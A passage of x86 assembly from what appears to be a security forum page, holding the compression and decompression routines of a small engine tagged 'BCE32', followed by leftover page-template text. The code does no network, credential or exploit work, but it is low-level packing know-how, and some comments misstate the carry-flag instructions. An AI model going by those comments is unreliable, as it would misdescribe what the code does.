_inc_;... cmp eax, [ebx+8];... je _inc_;... cmp eax, [ebx+12];... jne ninc_;... _inc_:inc dword ptr [ebx+4*edx];same, increment it inc ecx;increment counter (check it in next turn) ninc_:cmp dl, 3;table overflow ? je re_t;yeah, once again inc edx;increment offset to table loop t_loop;loop popad;restore regs ;stage 2 pushad;save all regs mov esi, ebx;get pointer to table push 3 pop ebx;EBX = 3 mov ecx, ebx;ECX = 3 rep_sort:;bubble sort = the biggest value will ;always "bubble up", so we know number ;steps push ecx;save it mov ecx, ebx;set pointerz mov edi, edx;... push edx;save it lodsd;load DWORD (count) mov edx, eax;save it sort:lodsd;load next cmp eax, edx;is it bigger jb noswap;no, store it xchg eax, edx;yeah, swap DWORDs noswap:stosd;store it loop sort;next DWORD mov eax, edx;biggest in EDX, swap it stosd;and store lea esi, [edi-16];get back pointer pop edx;restore regs pop ecx loop rep_sort;and try next DWORD popad ;stage 3 pushad;save all regs xor eax, eax;EAX = 0 push eax;save it push 4 pop ecx;ECX = 4 n_search: push edx;save regs push ecx lea esi, [ebx+4*eax];get pointer to table push eax;store reg lodsd;load DWORD to EAX push 3 pop ecx;ECX = 3 mov edi, ecx;set pointerz search:mov esi, edx push eax;save it lodsd;load next mov ebp, eax pop eax cmp eax, ebp;end ? je end_search dec edi;next search add edx, 4 loop search end_search: pop eax;and next step inc eax pop ecx pop edx add [esp], edi rol byte ptr [esp], 2 loop n_search pop [esp.Pushad_ebx];restore all popad;... ;stage 4 xor ebp, ebp;EBP = 0 xor edx, edx;EDX = 0 mov [edi], bl;store decryption key inc edi;increment pointer next_byte: xor eax, eax;EAX = 0 push ecx lodsb;load next byte push 4 pop ecx;ECX = 4 next_bits: push ecx;store regs push eax and al, 3;separate bit group push ebx;compare with next group and bl, 3 cmp al, bl pop ebx je cb0 push ebx;compare with next group ror bl, 2 and bl, 3 cmp al, bl pop ebx je cb1 push ebx;compare with next group ror bl, 4 and bl, 3 cmp al, bl pop ebx je cb2 push 0;store bit 0 call copy_bit push 1;store bit 1 call copy_bit cb0:push 1;store bit 1 end_cb1:call copy_bit pop eax pop ecx ror al, 2 loop next_bits;next bit pop ecx loop next_byte;next byte mov eax, edi;save new size sub eax, [esp.Pushad_edi];... mov [esp.Pushad_eax], eax;... popad;restore all regs cmp eax, ecx;test for negative compression jb c_ok;positive compression stc;clear flag ret;and quit c_ok:clc;negative compression, set flag ret;and quit cb1:push 0;store bit 0 end_cb2:call copy_bit push 0;store bit 0 jmp end_cb1 cb2:push 0;store bit 0 call copy_bit push 1;store bit 1 jmp end_cb2 copy_bit: mov eax, ebp;get byte from EBP shl al, 1;make space for next bit or al, [esp+4];set bit cbit:inc edx;increment counter cmp dl, 8;byte full ? jne n_byte;no, continue stosb;yeah, store byte xor eax, eax;and prepare next one cdq;... n_byte:mov ebp, eax;save back byte ret Pshd;quit from procedure with one parameter on stack db'[BCE32]', 0;little signature BCE32_CompressEndP;end of compression procedure BCE32_DecompressProc;decompression procedure pushad;save all regs xor eax, eax;EAX = 0 xor ebp, ebp;EBP = 0 cdq;EDX = 0 lodsb;load decryption key push eax;store it lodsb;load first byte push 8;store 8 push edx;store 0 d_bits:push ecx;store ECX test al, 80h;test for 1 jne db0 test al, 0c0h;test for 00 je db1 test al, 0a0h;test for 010 je db2 mov cl, 6;its 011 jmp tb2 testb:test bl, 1;is it 1 ? jne p1 push 0;no, store 0 _tb_:mov eax, ebp;load byte to EAX or al, [esp];set bit ror al, 1;and make space for next one call cbit;end of procedure ret;... p1:push 1;store 1 jmp _tb_;and continue db0:xor cl, cl;CL = 0 mov byte ptr [esp+4], 1;store 1 testbits: push eax;store it push ebx;... mov ebx, [esp+20];load parameter ror bl, cl;shift to next bit group call testb;test bit ror bl, 1;next bit call testb;test it pop ebx;restore regs pop eax mov ecx, [esp+4];load parameter bcopy:cmp byte ptr [esp+8], 8;8. bit ? jne dnlb;nope, continue mov ebx, eax;load next byte lodsb xchg eax, ebx mov byte ptr [esp+8], 0;and nulify parameter dec dword ptr [esp];decrement parameter dnlb:shl al, 1;next bit test bl, 80h;is it 1 ? je nb;no, continue or al, 1;yeah, set bit nb:rol bl, 1;next bit inc byte ptr [esp+8];increment parameter loop bcopy;and align next bits pop ecx;restore ECX inc ecx;test flags dec ecx;... jns d_bits;if not sign, jump pop eax;delete pushed parameters pop eax;... pop eax;... popad;restore all regs ret;and quit db1:mov cl, 2;2. bit in decryption key mov [esp+4], cl;2 bit wide jmp testbits;test bits db2:mov cl, 4;4. bit tb2:mov byte ptr [esp+4], 3;3 bit wide jmp testbits;test bits BCE32_DecompressEndP;end of decompression procedure |
|
剩余空间查看
内存申请,随机分配。 |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值